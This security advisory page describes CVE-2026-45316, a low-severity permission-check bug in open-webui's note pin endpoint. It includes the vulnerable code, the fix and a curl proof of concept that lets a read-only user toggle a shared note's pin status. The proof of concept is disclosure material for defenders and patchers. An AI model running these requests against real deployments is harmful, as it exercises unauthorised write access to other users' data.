CVE-2026-45316 — open-webui
LOWCVE-2026-45316 is a low-severity (CVSS 3.5) CWE-863 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45316.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-45316 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.
Details
Affected code: backend/open_webui/routers/notes.py lines 412-444
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
# ...
if user.role != 'admin' and (
user.id != note.user_id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='note',
resource_id=note.id,
permission='read', # BUG: should be 'write'
db=db,
)
):
raise HTTPException(...)
note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation
Compare with update endpoint (correct, line 318-327):
async def update_note_by_id(...):
# ...
and not await AccessGrants.has_access(
permission='write', # correctly checks 'write'
)
PoC
Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.
Setup:
- UserA creates a note
- UserA shares note with UserB with
readpermission viaPOST /api/v1/notes/{id}/access/updatewith{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}
Test:
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false
# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
-H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden
# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true
# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)
E2E Verified Result:
- Step 1: UserB reads note (READ) -> 200 OK ✓
- Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
- Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
- Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)
Impact
- A user with only
readaccess to a shared note can toggle itsis_pinnedstatus - This modifies the note's state without write authorization
- The pin status change is visible to the note owner and all other users with access
- Privilege escalation from read to write on the pin operation
Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.
Fix
One-line fix — change permission='read' to permission='write' in pin_note_by_id:
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',
This makes the pin endpoint consistent with update and delete endpoints.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.9.3pip install --upgrade 'open-webui==0.9.3' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45316 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-45316 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-45316. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-45316 in your dependencies?
O3 Security finds CVE-2026-45316 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.